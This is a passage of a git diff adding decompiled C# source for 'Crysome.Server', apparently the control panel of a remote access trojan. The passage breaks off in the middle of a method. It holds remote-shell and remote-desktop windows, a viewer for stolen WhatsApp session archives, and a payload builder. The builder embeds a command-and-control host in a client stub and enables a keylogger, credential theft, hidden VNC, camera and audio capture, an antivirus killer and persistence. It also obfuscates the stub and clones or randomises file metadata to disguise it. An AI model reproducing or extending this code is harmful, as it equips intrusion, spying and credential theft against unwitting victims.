+ ((Window)this).DragMove(); + } + catch + { + } + } + + private void ImageToRemoteCoords(Point p, out int x, out int y) + { + double actualWidth = DesktopViewbox.ActualWidth; + double actualHeight = DesktopViewbox.ActualHeight; + if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0) + { + x = 0; + y = 0; + return; + } + double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight); + double num2 = (double)_remoteWidth * num; + double num3 = (double)_remoteHeight * num; + double num4 = (actualWidth - num2) / 2.0; + double num5 = (actualHeight - num3) / 2.0; + x = (int)((p.X - num4) / num); + y = (int)((p.Y - num5) / num); + if (x < 0) + { + x = 0; + } + if (x >= _remoteWidth) + { + x = _remoteWidth - 1; + } + if (y < 0) + { + y = 0; + } + if (y >= _remoteHeight) + { + y = _remoteHeight - 1; + } + } + + private void DesktopImage_MouseMove(object sender, MouseEventArgs e) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) + { + DateTime utcNow = DateTime.UtcNow; + if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0)) + { + _lastMouseMove = utcNow; + ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); + _vm.SendRemoteInput(_client, 0, x, y, 0); + } + } + } + + private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (_streaming) + { + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) + { + ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); + int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2); + _vm.SendRemoteInput(_client, 1, x, y, buttonOrKey); + } + } + } + + private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (_streaming) + { + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) + { + ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y); + int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2); + _vm.SendRemoteInput(_client, 2, x, y, buttonOrKey); + } + } + } + + private void DesktopArea_Focus(object sender, MouseButtonEventArgs e) + { + DesktopArea?.Focus(); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected O, but got Unknown + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected O, but got Unknown + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Expected O, but got Unknown + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Expected O, but got Unknown + //IL_01fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0206: Expected O, but got Unknown + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + ScreenCombo = (ComboBox)target; + break; + case 4: + StartBtn = (Button)target; + ((ButtonBase)(object)StartBtn).Click += StartBtn_Click; + break; + case 5: + StopBtn = (Button)target; + ((ButtonBase)(object)StopBtn).Click += StopBtn_Click; + break; + case 6: + MinimizeBtn = (Button)target; + ((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click; + break; + case 7: + MaximizeBtn = (Button)target; + ((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click; + break; + case 8: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 9: + DesktopArea = (Border)target; + DesktopArea.MouseLeftButtonDown += DesktopArea_Focus; + break; + case 10: + DesktopViewbox = (Viewbox)target; + break; + case 11: + DesktopImage = (Image)target; + DesktopImage.MouseMove += DesktopImage_MouseMove; + DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown; + DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp; + DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown; + DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp; + break; + case 12: + StatusText = (TextBlock)target; + break; + case 13: + QualityText = (TextBlock)target; + break; + case 14: + MouseControlSwitch = (ToggleSwitch)target; + break; + case 15: + KeyboardControlSwitch = (ToggleSwitch)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/RemoteShellWindow.cs b/Crysome.Server/Crysome.Server.View/RemoteShellWindow.cs new file mode 100644 index 0000000..ed4aae9 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/RemoteShellWindow.cs @@ -0,0 +1,143 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class RemoteShellWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + internal TextBlock TitleText; + + internal Button CloseBtn; + + internal TextBox OutputBox; + + internal TextBox CommandBox; + + private bool _contentLoaded; + + public RemoteShellWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Remote Shell — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + AppendOutput("Remote shell ready. Type a command and press Enter or click Send.\r\n"); + CommandBox.Focus(); + } + + private void AppendOutput(string text) + { + OutputBox.AppendText(text); + OutputBox.ScrollToEnd(); + } + + private void SendCommand() + { + string text = (CommandBox.Text ?? "").Trim(); + if (!string.IsNullOrEmpty(text)) + { + CommandBox.Clear(); + AppendOutput("> " + text + "\r\n"); + _vm.SendShellCommand(_client, text, delegate(string output) + { + AppendOutput(output + "\r\n"); + }); + } + } + + private void SendBtn_Click(object sender, RoutedEventArgs e) + { + SendCommand(); + } + + private void CommandBox_KeyDown(object sender, KeyEventArgs e) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)e.Key == 6) + { + e.Handled = true; + SendCommand(); + } + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteshellwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 4: + OutputBox = (TextBox)target; + break; + case 5: + CommandBox = (TextBox)target; + CommandBox.KeyDown += CommandBox_KeyDown; + break; + case 6: + ((ButtonBase)(Button)target).Click += SendBtn_Click; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/ScreenshotViewerWindow.cs b/Crysome.Server/Crysome.Server.View/ScreenshotViewerWindow.cs new file mode 100644 index 0000000..50ba0ea --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/ScreenshotViewerWindow.cs @@ -0,0 +1,114 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media.Imaging; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class ScreenshotViewerWindow : FluentWindow, IComponentConnector +{ + internal TextBlock TitleText; + + internal Button CloseBtn; + + internal Image ScreenshotImage; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public ScreenshotViewerWindow(string title, byte[] imageData) + { + InitializeComponent(); + ((Window)this).Title = title ?? "Screenshot"; + TitleText.Text = title ?? "Screenshot"; + if (imageData != null && imageData.Length != 0) + { + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(imageData); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + ScreenshotImage.Source = bitmapImage; + StatusText.Text = $"{bitmapImage.PixelWidth} × {bitmapImage.PixelHeight}"; + return; + } + catch (Exception ex) + { + StatusText.Text = "Failed to load image: " + ex.Message; + return; + } + } + StatusText.Text = "No image data received."; + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/screenshotviewerwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 4: + ScreenshotImage = (Image)target; + break; + case 5: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/SettingsTab.cs b/Crysome.Server/Crysome.Server.View/SettingsTab.cs new file mode 100644 index 0000000..6678013 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/SettingsTab.cs @@ -0,0 +1,39 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Markup; + +namespace Crysome.Server.View; + +public class SettingsTab : UserControl, IComponentConnector +{ + private bool _contentLoaded; + + public SettingsTab() + { + InitializeComponent(); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/settingstab.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + _contentLoaded = true; + } +} diff --git a/Crysome.Server/Crysome.Server.View/WhatsAppSessionWindow.cs b/Crysome.Server/Crysome.Server.View/WhatsAppSessionWindow.cs new file mode 100644 index 0000000..de7a0a3 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/WhatsAppSessionWindow.cs @@ -0,0 +1,103 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Markup; + +namespace Crysome.Server.View; + +public class WhatsAppSessionWindow : Window, IComponentConnector +{ + private readonly string _zipPath; + + internal TextBlock SubtitleText; + + internal TextBlock ClientLabel; + + internal TextBlock SizeLabel; + + internal TextBlock PathLabel; + + internal Button OpenFolderBtn; + + private bool _contentLoaded; + + public WhatsAppSessionWindow(string zipPath, string clientName, long sizeBytes) + { + InitializeComponent(); + _zipPath = zipPath; + SubtitleText.Text = "From " + clientName; + ClientLabel.Text = clientName; + SizeLabel.Text = $"{(double)sizeBytes / 1024.0 / 1024.0:F2} MB ({sizeBytes:N0} bytes)"; + PathLabel.Text = zipPath; + PathLabel.ToolTip = zipPath; + } + + private void OpenFolderBtn_Click(object sender, RoutedEventArgs e) + { + try + { + string directoryName = Path.GetDirectoryName(_zipPath); + if (Directory.Exists(directoryName)) + { + Process.Start("explorer.exe", directoryName); + } + } + catch (Exception ex) + { + MessageBox.Show("Cannot open folder: " + ex.Message); + } + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + Close(); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/whatsappsessionwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + switch (connectionId) + { + case 1: + SubtitleText = (TextBlock)target; + break; + case 2: + ClientLabel = (TextBlock)target; + break; + case 3: + SizeLabel = (TextBlock)target; + break; + case 4: + PathLabel = (TextBlock)target; + break; + case 5: + OpenFolderBtn = (Button)target; + OpenFolderBtn.Click += OpenFolderBtn_Click; + break; + case 6: + ((Button)target).Click += CloseBtn_Click; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/BuilderViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/BuilderViewModel.cs new file mode 100644 index 0000000..19ac3c5 --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/BuilderViewModel.cs @@ -0,0 +1,1034 @@ +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Windows.Input; +using Crysome.Obfuscator; +using Microsoft.Win32; +using Vestris.ResourceLib; +using dnlib.DotNet; + +namespace Crysome.Server.ViewModel; + +public class BuilderViewModel : ViewModelBase +{ + private const string EmbeddedMarker = "##CRYCFG##"; + + private const int PaddingChars = 502; + + private const int TotalChars = 512; + + private const byte PaddingByteLow = 1; + + private const byte PaddingByteHigh = 0; + + private string _ip = "127.0.0.1"; + + private string _port = "7777"; + + private string _group = ""; + + private bool _featPersistence; + + private bool _featObfuscate; + + private bool _featCmd = true; + + private bool _featFile = true; + + private bool _featDirectLink = true; + + private bool _featScreenshot = true; + + private bool _featFileMgr = true; + + private bool _featProcess = true; + + private bool _featRestart = true; + + private bool _featProxy = true; + + private bool _featDesktop = true; + + private bool _featHvnc = true; + + private bool _featCredentials = true; + + private bool _featKeylogger = true; + + private bool _featChat = true; + + private bool _featAudio = true; + + private bool _featCamera = true; + + private bool _featSurvival; + + private bool _featAvKiller; + + private bool _featProtect; + + private string _parentSpoof = "None"; + + private string _stubPath = ""; + + private string _iconPath = ""; + + private bool _enableAssemblyEdit; + + private string _asmTitle = ""; + + private string _asmDescription = ""; + + private string _asmCompany = ""; + + private string _asmProduct = ""; + + private string _asmCopyright = ""; + + private string _asmVersion = "1.0.0.0"; + + private readonly MainViewModel _mainVm; + + private static readonly Random _rnd = new Random(); + + public string IP + { + get + { + return _ip; + } + set + { + _ip = value; + OnPropertyChanged("IP"); + } + } + + public string Port + { + get + { + return _port; + } + set + { + _port = value; + OnPropertyChanged("Port"); + } + } + + public string Group + { + get + { + return _group; + } + set + { + _group = value; + OnPropertyChanged("Group"); + } + } + + public bool FeatPersistence + { + get + { + return _featPersistence; + } + set + { + _featPersistence = value; + OnPropertyChanged("FeatPersistence"); + } + } + + public bool FeatObfuscate + { + get + { + return _featObfuscate; + } + set + { + _featObfuscate = value; + OnPropertyChanged("FeatObfuscate"); + } + } + + public bool FeatCmd + { + get + { + return _featCmd; + } + set + { + _featCmd = value; + OnPropertyChanged("FeatCmd"); + } + } + + public bool FeatFile + { + get + { + return _featFile; + } + set + { + _featFile = value; + OnPropertyChanged("FeatFile"); + } + } + + public bool FeatDirectLink + { + get + { + return _featDirectLink; + } + set + { + _featDirectLink = value; + OnPropertyChanged("FeatDirectLink"); + } + } + + public bool FeatScreenshot + { + get + { + return _featScreenshot; + } + set + { + _featScreenshot = value; + OnPropertyChanged("FeatScreenshot"); + } + } + + public bool FeatFileMgr + { + get + { + return _featFileMgr; + } + set + { + _featFileMgr = value; + OnPropertyChanged("FeatFileMgr"); + } + } + + public bool FeatProcess + { + get + { + return _featProcess; + } + set + { + _featProcess = value; + OnPropertyChanged("FeatProcess"); + } + } + + public bool FeatRestart + { + get + { + return _featRestart; + } + set + { + _featRestart = value; + OnPropertyChanged("FeatRestart"); + } + } + + public bool FeatProxy + { + get + { + return _featProxy; + } + set + { + _featProxy = value; + OnPropertyChanged("FeatProxy"); + } + } + + public bool FeatDesktop + { + get + { + return _featDesktop; + } + set + { + _featDesktop = value; + OnPropertyChanged("FeatDesktop"); + } + } + + public bool FeatHvnc + { + get + { + return _featHvnc; + } + set + { + _featHvnc = value; + OnPropertyChanged("FeatHvnc"); + } + } + + public bool FeatCredentials + { + get + { + return _featCredentials; + } + set + { + _featCredentials = value; + OnPropertyChanged("FeatCredentials"); + } + } + + public bool FeatKeylogger + { + get + { + return _featKeylogger; + } + set + { + _featKeylogger = value; + OnPropertyChanged("FeatKeylogger"); + } + } + + public bool FeatChat + { + get + { + return _featChat; + } + set + { + _featChat = value; + OnPropertyChanged("FeatChat"); + } + } + + public bool FeatAudio + { + get + { + return _featAudio; + } + set + { + _featAudio = value; + OnPropertyChanged("FeatAudio"); + } + } + + public bool FeatCamera + { + get + { + return _featCamera; + } + set + { + _featCamera = value; + OnPropertyChanged("FeatCamera"); + } + } + + public bool FeatSurvival + { + get + { + return _featSurvival; + } + set + { + _featSurvival = value; + OnPropertyChanged("FeatSurvival"); + } + } + + public bool FeatAvKiller + { + get + { + return _featAvKiller; + } + set + { + _featAvKiller = value; + OnPropertyChanged("FeatAvKiller"); + } + } + + public bool FeatProtect + { + get + { + return _featProtect; + } + set + { + _featProtect = value; + OnPropertyChanged("FeatProtect"); + } + } + + public string ParentSpoof + { + get + { + return _parentSpoof; + } + set + { + _parentSpoof = value ?? "None"; + OnPropertyChanged("ParentSpoof"); + } + } + + public ObservableCollection ParentSpoofOptions { get; } = new ObservableCollection { "None", "wininit", "explorer", "svchost" }; + + public ObservableCollection BuildLog { get; set; } = new ObservableCollection(); + + public ICommand BuildCommand { get; } + + public ICommand BrowseStubCommand { get; } + + public ICommand GoBackCommand { get; } + + public string StubPath + { + get + { + return _stubPath; + } + set + { + _stubPath = value; + OnPropertyChanged("StubPath"); + } + } + + public string IconPath + { + get + { + return _iconPath; + } + set + { + _iconPath = value; + OnPropertyChanged("IconPath"); + } + } + + public bool EnableAssemblyEdit + { + get + { + return _enableAssemblyEdit; + } + set + { + _enableAssemblyEdit = value; + OnPropertyChanged("EnableAssemblyEdit"); + } + } + + public string AsmTitle + { + get + { + return _asmTitle; + } + set + { + _asmTitle = value; + OnPropertyChanged("AsmTitle"); + } + } + + public string AsmDescription + { + get + { + return _asmDescription; + } + set + { + _asmDescription = value; + OnPropertyChanged("AsmDescription"); + } + } + + public string AsmCompany + { + get + { + return _asmCompany; + } + set + { + _asmCompany = value; + OnPropertyChanged("AsmCompany"); + } + } + + public string AsmProduct + { + get + { + return _asmProduct; + } + set + { + _asmProduct = value; + OnPropertyChanged("AsmProduct"); + } + } + + public string AsmCopyright + { + get + { + return _asmCopyright; + } + set + { + _asmCopyright = value; + OnPropertyChanged("AsmCopyright"); + } + } + + public string AsmVersion + { + get + { + return _asmVersion; + } + set + { + _asmVersion = value; + OnPropertyChanged("AsmVersion"); + } + } + + public ICommand BrowseIconCommand { get; } + + public ICommand CloneAssemblyCommand { get; } + + public ICommand RandomizeAssemblyCommand { get; } + + private static string RandomGroupName() + { + int count = _rnd.Next(6, 11); + return "grp_" + new string((from _ in Enumerable.Range(0, count) + select "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray()); + } + + public BuilderViewModel(MainViewModel mainVm) + { + _mainVm = mainVm; + Group = RandomGroupName(); + BuildCommand = new RelayCommand(delegate + { + DoBuild(); + }); + BrowseStubCommand = new RelayCommand(delegate + { + DoBrowseStub(); + }); + BrowseIconCommand = new RelayCommand(delegate + { + DoBrowseIcon(); + }); + CloneAssemblyCommand = new RelayCommand(delegate + { + DoCloneAssembly(); + }); + RandomizeAssemblyCommand = new RelayCommand(delegate + { + DoRandomizeAssembly(); + }); + GoBackCommand = new RelayCommand(delegate + { + _mainVm.GoToClients(); + }); + string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Crysome.Client.exe"); + if (File.Exists(text)) + { + StubPath = text; + } + } + + private void DoBrowseStub() + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Executables|*.exe", + Title = "Select Crysome.Client.exe" + }; + if (openFileDialog.ShowDialog() == true) + { + StubPath = openFileDialog.FileName; + } + } + + private void DoBrowseIcon() + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Icons|*.ico", + Title = "Select Icon" + }; + if (openFileDialog.ShowDialog() == true) + { + IconPath = openFileDialog.FileName; + } + } + + private void DoCloneAssembly() + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Executables|*.exe;*.dll", + Title = "Select Assembly to Clone" + }; + if (openFileDialog.ShowDialog() == true) + { + try + { + FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName); + AsmTitle = versionInfo.FileDescription ?? ""; + AsmDescription = versionInfo.Comments ?? ""; + AsmCompany = versionInfo.CompanyName ?? ""; + AsmProduct = versionInfo.ProductName ?? ""; + AsmCopyright = versionInfo.LegalCopyright ?? ""; + AsmVersion = versionInfo.FileVersion ?? "1.0.0.0"; + EnableAssemblyEdit = true; + Log("Cloned assembly info from: " + Path.GetFileName(openFileDialog.FileName)); + } + catch (Exception ex) + { + Log("Error cloning assembly: " + ex.Message); + } + } + } + + private void DoRandomizeAssembly() + { + AsmTitle = RandomString(8); + AsmDescription = RandomString(12); + AsmCompany = RandomString(8); + AsmProduct = RandomString(8); + AsmCopyright = "Copyright © " + DateTime.Now.Year + " " + AsmCompany; + AsmVersion = _rnd.Next(1, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 100); + EnableAssemblyEdit = true; + Log("Randomized assembly info."); + } + + private string RandomString(int len) + { + return new string((from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", len) + select s[_rnd.Next(s.Length)]).ToArray()); + } + + private static int FindBytes(byte[] haystack, byte[] needle, int startIndex = 0) + { + int num = haystack.Length - needle.Length; + for (int i = startIndex; i <= num; i++) + { + bool flag = true; + for (int j = 0; j < needle.Length; j++) + { + if (haystack[i + j] != needle[j]) + { + flag = false; + break; + } + } + if (flag) + { + return i; + } + } + return -1; + } + + private void DoBuild() + { + BuildLog.Clear(); + try + { + if (string.IsNullOrWhiteSpace(IP)) + { + Log("ERROR: IP is empty."); + return; + } + if (!int.TryParse(Port, out var result) || result < 1 || result > 65535) + { + Log("ERROR: Port must be 1-65535."); + return; + } + if (string.IsNullOrEmpty(StubPath) || !File.Exists(StubPath)) + { + Log("ERROR: Select Crysome.Client.exe first."); + return; + } + List list = new List(); + if (FeatCmd) + { + list.Add("cmd"); + } + if (FeatFile) + { + list.Add("file"); + } + if (FeatDirectLink) + { + list.Add("direct"); + } + if (FeatScreenshot) + { + list.Add("screen"); + } + if (FeatFileMgr) + { + list.Add("filemgr"); + } + if (FeatProcess) + { + list.Add("proc"); + } + if (FeatRestart) + { + list.Add("restart"); + } + if (FeatProxy) + { + list.Add("proxy"); + } + if (FeatDesktop) + { + list.Add("rdp"); + } + if (FeatHvnc) + { + list.Add("hvnc"); + } + if (FeatCredentials) + { + list.Add("cred"); + } + if (FeatKeylogger) + { + list.Add("keylog"); + } + if (FeatChat) + { + list.Add("chat"); + } + if (FeatAudio) + { + list.Add("audio"); + } + if (FeatCamera) + { + list.Add("cam"); + } + if (FeatSurvival) + { + list.Add("survival"); + } + if (FeatAvKiller) + { + list.Add("avkill"); + } + if (FeatProtect) + { + list.Add("protect"); + } + string text = ((list.Count >= 18) ? "" : string.Join(",", list)); + string text2 = (ParentSpoof ?? "").Trim().ToLowerInvariant(); + string text3 = ((text2 == "none" || string.IsNullOrEmpty(text2)) ? "" : text2); + string text4 = "{\"host\":\"" + EscapeJson(IP.Trim()) + "\",\"port\":\"" + result + "\",\"group\":\"" + EscapeJson((Group ?? "").Trim()) + "\",\"persistence\":\"" + (FeatPersistence ? "true" : "false") + "\"" + (string.IsNullOrEmpty(text) ? "" : (",\"feat\":\"" + EscapeJson(text) + "\"")) + (string.IsNullOrEmpty(text3) ? "" : (",\"parent\":\"" + EscapeJson(text3) + "\"")) + "}"; + if (text4.Length > 502) + { + Log("ERROR: Config JSON too long (" + text4.Length + " chars, max " + 502 + ")."); + return; + } + byte[] bytes = Encoding.Unicode.GetBytes("##CRYCFG##"); + byte[] array = new byte[8]; + for (int i = 0; i < array.Length; i += 2) + { + array[i] = 1; + array[i + 1] = 0; + } + byte[] array2 = new byte[bytes.Length + array.Length]; + Array.Copy(bytes, 0, array2, 0, bytes.Length); + Array.Copy(array, 0, array2, bytes.Length, array.Length); + string text5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Build.exe"); + string text6 = StubPath; + if (FeatObfuscate) + { + try + { + text6 = Path.Combine(Path.GetTempPath(), "crysome_obf_" + Guid.NewGuid().ToString("N") + ".exe"); + Log("Obfuscating stub: " + StubPath); + CryObfuscator.Obfuscate(StubPath, text6, (Action)Log); + if (!File.Exists(text6)) + { + Log("ERROR: Obfuscation produced no output file. Using non-obfuscated stub."); + text6 = StubPath; + } + else + { + Log("Obfuscation OK. Patching config into obfuscated file."); + } + } + catch (Exception ex) + { + Log("ERROR: Obfuscation failed — " + ex.Message); + Log(" Using non-obfuscated stub. Build Crysome.Client first, then point Stub to bin\\net472\\Crysome.Client.exe"); + text6 = StubPath; + } + } + byte[] array3 = File.ReadAllBytes(text6); + if (text6 != StubPath) + { + try + { + File.Delete(text6); + } + catch + { + } + } + Log("Loaded: " + array3.Length / 1024 + " KB"); + if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath)) + { + Log("Icon changing requires external library (Vestris.ResourceLib). Skipping for now."); + } + if (EnableAssemblyEdit) + { + Log("Assembly Info editing requires external library (Vestris.ResourceLib). Skipping for now."); + } + int num = FindBytes(array3, array2); + if (num < 0) + { + Log("WARNING: Embedded config placeholder not found. Will append config to tail instead."); + } + else + { + Log("Placeholder found at offset 0x" + num.ToString("X8")); + byte[] bytes2 = Encoding.Unicode.GetBytes(text4); + int num2 = num + bytes.Length; + int num3 = 1004; + Array.Copy(bytes2, 0, array3, num2, bytes2.Length); + for (int j = num2 + bytes2.Length; j < num2 + num3; j++) + { + array3[j] = 0; + } + } + File.WriteAllBytes(text5, array3); + if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath)) + { + try + { + Log("Injecting icon..."); + new IconDirectoryResource(new IconFile(IconPath)).SaveTo(text5); + Log("Icon injected successfully."); + } + catch (Exception ex2) + { + Log("Icon injection failed: " + ex2.Message); + } + } + if (EnableAssemblyEdit) + { + try + { + Log("Updating assembly info (native resources)..."); + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(text5); + StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; + StringTable stringTable = null; + if (stringFileInfo.Strings.Count > 0) + { + stringTable = stringFileInfo.Strings.Values.First(); + } + else + { + stringTable = new StringTable("000004b0"); + stringFileInfo.Strings.Add(stringTable.Key, stringTable); + } + SetVer("FileDescription", AsmTitle); + SetVer("Comments", AsmDescription); + SetVer("CompanyName", AsmCompany); + SetVer("ProductName", AsmProduct); + SetVer("LegalCopyright", AsmCopyright); + 